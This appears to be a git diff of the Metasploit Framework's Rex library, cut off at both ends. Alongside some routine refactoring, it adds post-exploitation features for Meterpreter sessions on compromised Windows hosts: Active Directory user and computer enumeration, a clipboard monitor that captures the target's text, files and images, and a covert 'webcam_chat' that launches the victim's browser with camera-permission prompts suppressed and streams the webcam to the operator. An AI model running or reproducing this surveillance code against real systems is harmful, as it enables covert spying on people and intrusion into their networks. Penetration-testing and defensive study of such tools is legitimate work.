"#{Rex::Text.rand_text_alpha(3+rand(12))}" + @vars[node.name] = random_var_name end node.name = @vars[node.name] when ::RKelly::Nodes::ParameterNode if @vars[node.value].nil? - #@vars[node.value] = "param_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.value}" - @vars[node.value] = "#{Rex::Text.rand_text_alpha(3+rand(12))}" + @vars[node.value] = random_var_name end node.value = @vars[node.value] when ::RKelly::Nodes::ResolveNode @@ -181,8 +209,7 @@ protected # Functions can also act as objects, so store them in the vars # and the functions list so we can replace them in both places if @funcs[node.value].nil? and not @funcs.values.include?(node.value) - #@funcs[node.value] = "func_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.value}" - @funcs[node.value] = "#{Rex::Text.rand_text_alpha(3+rand(12))}" + @funcs[node.value] = random_var_name if @vars[node.value].nil? @vars[node.value] = @funcs[node.value] end diff --git a/lib/rex/mime/encoding.rb b/lib/rex/mime/encoding.rb new file mode 100644 index 0000000000..d9805c00e1 --- /dev/null +++ b/lib/rex/mime/encoding.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- +module Rex +module MIME +# Set of helpers methods to deal with SMTP encoding related topics. +module Encoding + + # Enforces CRLF on the input data + # + # @param data [String] The data to CRLF enforce. + # @return [String] CRLF enforced data. + def force_crlf(data) + data.gsub("\r", '').gsub("\n", "\r\n") + end + +end +end +end diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb index 668d1edf6f..c8f3467377 100644 --- a/lib/rex/mime/message.rb +++ b/lib/rex/mime/message.rb @@ -5,10 +5,14 @@ class Message require 'rex/mime/header' require 'rex/mime/part' + require 'rex/mime/encoding' require 'rex/text' + include Rex::MIME::Encoding + attr_accessor :header, :parts, :bound, :content + def initialize(data=nil) self.header = Rex::MIME::Header.new self.parts = [] @@ -122,23 +126,22 @@ class Message end def to_s - msg = self.header.to_s + "\r\n" + msg = force_crlf(self.header.to_s + "\r\n") - if self.content and not self.content.empty? - msg << self.content + "\r\n" + unless self.content.blank? + msg << force_crlf(self.content + "\r\n") end self.parts.each do |part| - msg << "--" + self.bound + "\r\n" - msg << part.to_s + "\r\n" + msg << force_crlf("--" + self.bound + "\r\n") + msg << part.to_s end if self.parts.length > 0 - msg << "--" + self.bound + "--\r\n" + msg << force_crlf("--" + self.bound + "--\r\n") end - # Force CRLF for SMTP compatibility - msg.gsub("\r", '').gsub("\n", "\r\n") + msg end end diff --git a/lib/rex/mime/part.rb b/lib/rex/mime/part.rb index 5f2acfb96e..40ddcdded7 100644 --- a/lib/rex/mime/part.rb +++ b/lib/rex/mime/part.rb @@ -4,6 +4,9 @@ module MIME class Part require 'rex/mime/header' + require 'rex/mime/encoding' + + include Rex::MIME::Encoding attr_accessor :header, :content @@ -13,7 +16,33 @@ class Part end def to_s - self.header.to_s + "\r\n" + self.content + "\r\n" + self.header.to_s + "\r\n" + content_encoded + "\r\n" + end + + # Returns the part content with any necessary encoding or transformation + # applied. + # + # @return [String] Content with encoding or transformations applied. + def content_encoded + binary_content? ? content : force_crlf(content) + end + + # Answers if the part content is binary. + # + # @return [Boolean] true if the part content is binary, false otherwise. + def binary_content? + transfer_encoding && transfer_encoding == 'binary' + end + + # Returns the Content-Transfer-Encoding of the part. + # + # @returns [nil] if the part hasn't Content-Transfer-Encoding. + # @returns [String] The Content-Transfer-Encoding or the part. + def transfer_encoding + h = header.find('Content-Transfer-Encoding') + return nil if h.nil? + + h[1] end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb new file mode 100644 index 0000000000..d7a7db2409 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb @@ -0,0 +1,71 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Extapi +module Adsi + +### +# +# This meterpreter extension contains extended API functions for +# querying and managing desktop windows. +# +### +class Adsi + + def initialize(client) + @client = client + end + + # + # Perform a generic domain query against ADSI. + # + # @param domain_name [String] The FQDN of the target domain. + # @param filter [String] The filter to apply to the query in + # LDAP format. + # @param max_results [Integer] The maximum number of results + # to return. + # @param page_size [Integer] The size of the page of results + # to return. + # @param fields [Array] Array of string fields to return for + # each result found + # + # @returns [Hash] Array of field names with associated results. + # + def domain_query(domain_name, filter, max_results, page_size, fields) + request = Packet.create_request('extapi_adsi_domain_query') + + request.add_tlv(TLV_TYPE_EXT_ADSI_DOMAIN, domain_name) + request.add_tlv(TLV_TYPE_EXT_ADSI_FILTER, filter) + request.add_tlv(TLV_TYPE_EXT_ADSI_MAXRESULTS, max_results) + request.add_tlv(TLV_TYPE_EXT_ADSI_PAGESIZE, page_size) + + fields.each do |f| + request.add_tlv(TLV_TYPE_EXT_ADSI_FIELD, f) + end + + response = client.send_request(request) + + results = [] + response.each(TLV_TYPE_EXT_ADSI_RESULT) { |r| + result = [] + r.each(TLV_TYPE_EXT_ADSI_VALUE) { |v| + result << v.value + } + results << result + } + + return { + :fields => fields, + :results => results + } + end + + attr_accessor :client + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index e3c059f2b3..82a58b8361 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -19,11 +19,11 @@ class Clipboard @client = client end + # # Get the target clipboard data in whichever format we can # (if it's supported). + # def get_data(download = false) - results = [] - request = Packet.create_request('extapi_clipboard_get_data') if download @@ -32,45 +32,12 @@ class Clipboard response = client.send_request(request) - text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) - - if text - results << { - :type => :text, - :data => text - } - end - - files = [] - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f| - files << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } - } - - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| - if jpg - results << { - :type => :jpg, - :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), - :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), - :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) - } - end - end - - return results + return parse_dump(response) end + # # Set the target clipboard data to a text value + # def set_text(text) request = Packet.create_request('extapi_clipboard_set_data') @@ -81,8 +48,120 @@ class Clipboard return true end + # + # Start the clipboard monitor if it hasn't been started. + # + def monitor_start(opts) + request = Packet.create_request('extapi_clipboard_monitor_start') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img]) + return client.send_request(request) + end + + # + # Pause the clipboard monitor if it's running. + # + def monitor_pause + request = Packet.create_request('extapi_clipboard_monitor_pause') + return client.send_request(request) + end + + # + # Dump the conents of the clipboard monitor to the local machine. + # + def monitor_dump(opts) + pull_img = opts[:include_images] + purge = opts[:purge] + purge = true if purge.nil? + + request = Packet.create_request('extapi_clipboard_monitor_dump') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) + + response = client.send_request(request) + + return parse_dump(response) + end + + # + # Resume the clipboard monitor if it has been paused. + # + def monitor_resume + request = Packet.create_request('extapi_clipboard_monitor_resume') + return client.send_request(request) + end + + # + # Purge the contents of the clipboard capture without downloading. + # + def monitor_purge + request = Packet.create_request('extapi_clipboard_monitor_purge') + return client.send_request(request) + end + + # + # Stop the clipboard monitor and dump optionally it's contents. + # + def monitor_stop(opts) + dump = opts[:dump] + pull_img = opts[:include_images] + + request = Packet.create_request('extapi_clipboard_monitor_stop') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) + + response = client.send_request(request) + unless dump + return response + end + + return parse_dump(response) + end + attr_accessor :client +private + + def parse_dump(response) + result = {} + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| + ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # fat chance of someone adding two different bits of text to the + # clipboard at the same time + result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) + end + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + result[ts]['Files'] ||= [] + result[ts]['Files'] << { + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| + if jpg + ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # same story with images, there's no way more than one can come + # through on the same timestamp with differences + result[ts]['Image'] = { + :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), + :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), + :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) + } + end + end + + return result + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index af97be3e42..08408e3489 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -4,6 +4,7 @@ require 'rex/post/meterpreter/extensions/extapi/tlv' require 'rex/post/meterpreter/extensions/extapi/window/window' require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' +require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' module Rex module Post @@ -30,7 +31,8 @@ class Extapi < Extension { 'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client), 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), - 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client) + 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), + 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client) }) }, ]) diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 5c47c4905e..d7a2fff3ec 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) -TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38) + +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) + TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) @@ -40,6 +44,19 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) +TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) +TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) + +TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55) +TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56) +TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57) +TLV_TYPE_EXT_ADSI_VALUE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 58) +TLV_TYPE_EXT_ADSI_RESULT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 59) +TLV_TYPE_EXT_ADSI_MAXRESULTS = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 60) +TLV_TYPE_EXT_ADSI_PAGESIZE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 61) + end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb index d006221b30..70b1ef4d7e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb @@ -49,10 +49,9 @@ class Config get_interfaces().each(&block) end - # # Returns an array of network interfaces with each element. # - # being an Interface + # @return [Array] def get_interfaces request = Packet.create_request('stdapi_net_config_get_interfaces') ifaces = [] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index cb1d853bfd..dc653cac1b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -3668,11 +3668,11 @@ class Def_kernel32 # ]) dll.add_function( 'lstrlenA', 'DWORD',[ - ["PCHAR","lpString","in"], + ["LPVOID","lpString","in"], ]) dll.add_function( 'lstrlenW', 'DWORD',[ - ["PWCHAR","lpString","in"], + ["LPVOID","lpString","in"], ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb index 8d2b7bc82a..7c3b8385ef 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb @@ -12,6 +12,19 @@ class Def_netapi32 def self.create_dll(dll_path = 'netapi32') dll = DLL.new(dll_path, ApiConstants.manager) + dll.add_function('NetApiBufferFree','DWORD',[ + ["LPVOID","Buffer","in"] + ]) + + dll.add_function('DsGetDcNameA', 'DWORD',[ + ["PWCHAR","ComputerName","in"], + ["PWCHAR","DomainName","in"], + ["PBLOB","DomainGuid","in"], + ["PWCHAR","SiteName","in"], + ["DWORD","Flags","in"], + ["PDWORD","DomainControllerInfo","out"] + ]) + dll.add_function('NetUserDel', 'DWORD',[ ["PWCHAR","servername","in"], ["PWCHAR","username","in"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb index 89cb80c00a..e96e8c358d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -35,6 +35,26 @@ class Def_wldap32 ['PDWORD', 'res', 'out'] ], 'ldap_search_sA', "cdecl") + dll.add_function('ldap_set_option', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'option', 'in'], + ['PDWORD', 'invalue', 'in'] + ], 'ldap_set_option', "cdecl") + + dll.add_function('ldap_search_ext_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'base', 'in'], + ['DWORD', 'scope', 'in'], + ['PCHAR', 'filter', 'in'], + ['PCHAR', 'attrs[]', 'in'], + ['DWORD', 'attrsonly', 'in'], + ['DWORD', 'pServerControls', 'in'], + ['DWORD', 'pClientControls', 'in'], + ['DWORD', 'pTimeout', 'in'], + ['DWORD', 'SizeLimit', 'in'], + ['PDWORD', 'res', 'out'] + ], 'ldap_search_ext_sA', "cdecl") + dll.add_function('ldap_count_entries', 'DWORD',[ ['DWORD', 'ld', 'in'], ['DWORD', 'res', 'in'] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb index f0c1c621c4..ba5f21bca6 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb @@ -341,7 +341,7 @@ class Util # See #unpack_pointer # def is_null_pointer(pointer) - if pointer.class == String + if pointer.kind_of? String pointer = unpack_pointer(pointer) end @@ -375,6 +375,26 @@ class Util return str end + # + # Reads null-terminated ASCII strings from memory. + # + # Given a pointer to a null terminated array of CHARs, return a ruby + # String. If +pointer+ is NULL (see #is_null_pointer) returns an empty + # string. + # + def read_string(pointer, length=nil) + if is_null_pointer(pointer) + return '' + end + + unless length + length = railgun.kernel32.lstrlenA(pointer)['return'] + end + + chars = read_array(:CHAR, length, pointer) + return chars.join('') + end + # # Read a given number of bytes from memory or from a provided buffer. # @@ -437,7 +457,7 @@ class Util return raw.unpack('l').first end - #If nothing worked thus far, return it raw + #If nothing worked thus far, return it raw return raw end @@ -498,7 +518,7 @@ class Util # Returns true if the type passed describes a data structure, false otherwise def is_struct_type?(type) - return type.class == Array + return type.kind_of? Array end @@ -513,10 +533,13 @@ class Util return pointer_size end - if is_array_type?(type) - element_type, length = split_array_type(type) - - return length * sizeof_type(element_type) + if type.kind_of? String + if is_array_type?(type) + element_type, length = split_array_type(type) + return length * sizeof_type(element_type) + else + return sizeof_type(type.to_sym) + end end if is_struct_type?(type) @@ -559,10 +582,8 @@ class Util def struct_offsets(definition, offset) padding = 0 offsets = [] - definition.each do |mapping| key, data_type = mapping - if sizeof_type(data_type) > padding offset = offset + padding end @@ -570,7 +591,6 @@ class Util offsets.push(offset) offset = offset + sizeof_type(data_type) - padding = calc_padding(offset) end @@ -606,12 +626,11 @@ class Util if type =~ /^(\w+)\[(\w+)\]$/ element_type = $1 length = $2 - unless length =~ /^\d+$/ length = railgun.const(length) end - return element_type, length + return element_type.to_sym, length.to_i else raise "Can not split non-array type #{type}" end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 751eee39a4..82d75c3b6f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -30,7 +30,7 @@ class Config def getuid request = Packet.create_request('stdapi_sys_config_getuid') response = client.send_request(request) - return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -53,14 +53,15 @@ class Config result[var_name] = var_value end - return result + result end # # Returns the value of a single requested environment variable name # def getenv(var_name) - getenvs(var_name)[var_name] + _, value = getenvs(var_name).first + value end # @@ -92,7 +93,7 @@ class Config req = Packet.create_request('stdapi_sys_config_steal_token') req.add_tlv(TLV_TYPE_PID, pid.to_i) res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -101,7 +102,7 @@ class Config def drop_token req = Packet.create_request('stdapi_sys_config_drop_token') res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -114,7 +115,7 @@ class Config res.each(TLV_TYPE_PRIVILEGE) do |p| ret << p.value end - return ret + ret end protected diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index c18f9de1f9..436446b53b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +#require 'rex/post/meterpreter/extensions/process' + module Rex module Post module Meterpreter @@ -14,10 +16,17 @@ module Webcam ### class Webcam + include Msf::Post::Common + include Msf::Post::File + def initialize(client) @client = client end + def session + @client + end + def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] @@ -47,6 +56,26 @@ class Webcam true end + # + # Starts a webcam session with a remote user via WebRTC + # + # @param server [String] A server to use for the channel. + # @return void + # + def webcam_chat(server) + offerer_id = Rex::Text.rand_text_alphanumeric(10) + channel = Rex::Text.rand_text_alphanumeric(20) + + remote_browser_path = get_webrtc_browser_path + + if remote_browser_path.blank? + raise RuntimeError, "Unable to find a suitable browser on the target machine" + end + + ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + connect_video_chat(server, channel, offerer_id) + end + # Record from default audio source for +duration+ seconds; # returns a low-quality wav file def record_mic(duration) @@ -58,6 +87,174 @@ class Webcam attr_accessor :client + + private + + + # + # Returns a browser path that supports WebRTC + # + # @return [String] + # + def get_webrtc_browser_path + found_browser_path = '' + + case client.platform + when /win/ + paths = [ + "Program Files\\Google\\Chrome\\Application\\chrome.exe", + "Program Files\\Mozilla Firefox\\firefox.exe" + ] + + drive = session.sys.config.getenv("SYSTEMDRIVE") + paths = paths.map { |p| "#{drive}\\#{p}" } + + # Old chrome path + user_profile = client.sys.config.getenv("USERPROFILE") + paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" + + paths.each do |browser_path| + if file?(browser_path) + found_browser_path = browser_path + break + end + end + + when /osx|bsd/ + [ + '/Applications/Google Chrome.app', + '/Applications/Firefox.app', + ].each do |browser_path| + if file?(browser_path) + found_browser_path = browser_path + break + end + end + when /linux|unix/ + # Need to add support for Linux in the future. + # But you see, the Linux meterpreter is so broken there is no point + # to do it now. You can't test anyway. + end + + found_browser_path + end + + + # + # Creates a video chat session as an offerer... involuntarily :-p + # Windows targets only. + # + # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine + # @param offerer_id [String] A ID that the answerer can look for and join + # + def init_video_chat(remote_browser_path, server, channel, offerer_id) + interface = load_interface('offerer.html') + api = load_api_code + + interface = interface.gsub(/\=SERVER\=/, server) + interface = interface.gsub(/\=CHANNEL\=/, channel) + interface = interface.gsub(/\=OFFERERID\=/, offerer_id) + + tmp_dir = session.sys.config.getenv("TEMP") + + begin + write_file("#{tmp_dir}\\interface.html", interface) + write_file("#{tmp_dir}\\api.js", api) + rescue ::Exception => e + elog("webcam_chat failed. #{e.class} #{e.to_s}") + raise RuntimeError, "Unable to initialize the interface on the target machine" + end + + # + # Automatically allow the webcam to run on the target machine + # + args = '' + if remote_browser_path =~ /Chrome/ + args = "--allow-file-access-from-files --use-fake-ui-for-media-stream" + elsif remote_browser_path =~ /Firefox/ + profile_name = Rex::Text.rand_text_alpha(8) + o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") + profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip + setting = %Q|user_pref("media.navigator.permission.disabled", true);| + begin + write_file(profile_path, setting) + rescue ::Exception => e + elog("webcam_chat failed: #{e.class} #{e.to_s}") + raise RuntimeError, "Unable to write the necessary setting for Firefox." + end + args = "-p #{profile_name}" + end + + exec_opts = {'Hidden' => false, 'Channelized' => false} + + begin + session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) + rescue ::Exception => e + elog("webcam_chat failed. #{e.class} #{e.to_s}") + raise RuntimeError, "Unable to start the remote browser: #{e.message}" + end + end + + + # + # Connects to a video chat session as an answerer + # + # @param offerer_id [String] The offerer's ID in order to join the video chat + # @return void + # + def connect_video_chat(server, channel, offerer_id) + interface = load_interface('answerer.html') + api = load_api_code + + tmp_api = Tempfile.new('api.js') + tmp_api.binmode + tmp_api.write(api) + tmp_api.close + + interface = interface.gsub(/\=SERVER\=/, server) + interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path) + interface = interface.gsub(/\=RHOST\=/, rhost) + interface = interface.gsub(/\=CHANNEL\=/, channel) + interface = interface.gsub(/\=OFFERERID\=/, offerer_id) + + tmp_interface = Tempfile.new('answerer.html') + tmp_interface.binmode + tmp_interface.write(interface) + tmp_interface.close + + found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path) + unless found_local_browser + raise RuntimeError, "Unable to find a suitable browser to connect to the target" + end + end + + + # + # Returns the webcam interface + # + # @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html) + # @return [String] The HTML interface code + # + def load_interface(html_name) + interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name) + interface_code = '' + ::File.open(interface_path) { |f| interface_code = f.read } + interface_code + end + + + # + # Returns the webcam API + # + # @return [String] The WebRTC lib code + # + def load_api_code + js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js') + api = '' + ::File.open(js_api_path) { |f| api = f.read } + api + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb index ffd231c7e0..40df85f5f8 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb @@ -16,6 +16,7 @@ class Console::CommandDispatcher::Extapi require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window' require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service' require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard' + require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi' Klass = Console::CommandDispatcher::Extapi @@ -23,7 +24,8 @@ class Console::CommandDispatcher::Extapi [ Klass::Window, Klass::Service, - Klass::Clipboard + Klass::Clipboard, + Klass::Adsi ] include Console::CommandDispatcher diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb new file mode 100644 index 0000000000..a8659650e3 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -0,0 +1,198 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Extended API ADSI management user interface. +# +### +class Console::CommandDispatcher::Extapi::Adsi + + Klass = Console::CommandDispatcher::Extapi::Adsi + + include Console::CommandDispatcher + + # Zero indicates "no limit" + DEFAULT_MAX_RESULTS = 0 + DEFAULT_PAGE_SIZE = 0 + + # + # List of supported commands. + # + def commands + { + "adsi_user_enum" => "Enumerate all users on the specified domain.", + "adsi_computer_enum" 